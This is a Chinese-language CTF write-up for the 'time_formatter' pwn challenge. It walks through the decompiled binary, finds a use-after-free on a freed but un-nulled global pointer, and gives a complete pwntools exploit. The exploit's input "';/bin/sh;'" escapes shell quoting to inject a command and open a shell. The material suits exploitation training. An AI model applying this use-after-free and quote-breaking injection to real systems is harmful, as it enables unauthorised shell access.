time_formatter攻防世界学习

time_formatter

前言：这题说实话分析量蛮大的，首先是程序内壁比较绕，而且调用了之前许多没有见到的函数---如snprintf_che，以及strsup(好像打错了),getegid()，并且对于一般的题目考察堆的方向是比较少的。

还是学了一些东西吧。

废话不多说，开始吧：

1.查看保护

保护极高了已经！！！就很恐惧！！！

2.运行收集信息

好家伙上来就报菜名嗷，更加恐惧了，不过有个提示嗷，一般报菜名的题目都是和堆有关的，至少我见的不多几道是这样。

3.ida查看

这里解释一些课外东西：

1.getegid：getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.

返回值：返回有效的组识别码.

2.setresgid：与市民对应，设置有效的组识别码

另外函数名字我做了一些变化，你们看的时候对照着自己写的看！

这里的returnnumb是返回一个整数，用来做判断

先看first函数：

注意看v0获得的是sub 400d74这个函数的返回值，我们点进去看看：

要写的不会的函数备注我写旁边了，这里我复制下来看的清楚：

1.strcspn：C 库函数 size_t strcspn(const char *str1, const char

*str2) 检索字符串 str1 开头连续有几个字符都不含字符串

str2 中的字符。

2.mallocother是我自己写的；

点进去malloc这个看看：

继续写以前没有见过的函数：

1.strdup：调用malloc函数去开辟空间存储参数的数值，并且返回指针类型。另外值得注意的是这里malloc申请的空间并不一定是传入进去字符串的长度，我后面在exp试了试，得出的这个结论。

2.err：错误流，不用管，我也不会

3.getenv：写旁边了，对题目影响不大。

4.另外就是这个参数可变的fprintf_chk，是把参数按照格式化要求转换之后存储到，开头给出的文件流（个人理解，建议百度）

然后返回了v5，v5就是我们输入进去的语句指针，最后把这个指针给了first函数的v0。

我们回到v0看看：

这里的aboutstr是我自己起的名字，其实就是比较，比较完之后把刚刚输入句子的指针给了全局变量ptr。

而这里的ptr也就是解体的关键所在了。

这里我们点击进去sboutstr函数看一下：

这里再次简述一下函数strspn的意思：

比较str1里面的元素是否都在str2里面，有则输出不一样元素的下标，没有的话，输出str1的长度。这里要求if判断成功，所以必须str1里面元素都在规定的accept里面，并且注意这里没有小写的i，这点我们后面再说：

到此我们算是吧first函数过了一遍了。

second函数没有什么意思，可以不看，直接看第三个函数sub400e43：

这个函数和之前一样，给指针给全局变量value，但是没有检测是否在accept中。

并且也是malloc开辟空间。

所以现在有了两次malloc的机会。

划线的地方都是这个漏洞执行的关键，他这里会把相对应的参数格式化后传递给command，所以呢这里我们要做的就是负责让command中有system，那这里参数中可以改的就是ptr了，那么我们能不能一开始就在ptr里面输入bin/sh呢，这是不行的，因为accept里面没有小写的字母。

继续看，选项5的函数：

询问是否退出前free了我们的全局变量。

那么想到的是什么？

use after free漏洞，去间接的修改我们ptr里面的内容。

思路：

1.首先随便给ptr数值让它申请，但是最好和后面要填的参数长度相同。

2.然后选择5，free掉，没有置空，所以这个时候ptr成为了悬挂指针。

3.然后我们再次去申请差不多大的value，就会让ptr和value指向同一片地址，这个时候我们在去用value修改ptr。

4.然后选择4，command中有了命令，执行之后获得shell。

exp如下，并且还要做一些解释：

from pwn import *

context.log_level='debug'

p=process("./time_formatter")

def func(a):

	p.recvuntil("> ")

	p.sendline(a)

func('1')

payload1='a'*8

p.sendline(payload1)

func('5')

p.sendline('N')

func('3')

p.sendline('\';/bin/sh;\'')

func('4')

p.interactive()

这里要解释的就是最后的p.sendline('\';/bin/sh;\'')，为什么不写p.sendline('/bin/sh')呢？

我们看看选项4转换的时候：

这里我们传入进去的数字是用 ‘ %s ’包裹起来的，导致我们的/bin/sh是完全没有办法输入，使用我们要保证前后闭合就要 p.sendline(' ' /bin/sh ' '),这样可以嘛？不行，因为这样会在我们输的时候，p.sendline这里的单引号闭合了，所以使用转义字符 \ '，但是又因为要在system里面输入多个命令，所以要使用 ; 来让两个命令都执行，所以要写：p.sendline('\';/bin/sh\''),就可以了。

题目还是很麻烦的题目，主要是复杂。

关于堆的知识这里附上链接ctfwiki，我最喜欢的网站：

https://wiki.x10sec.org/pwn/linux/glibc-heap/use_after_free-zh/

睡觉了睡觉了！！！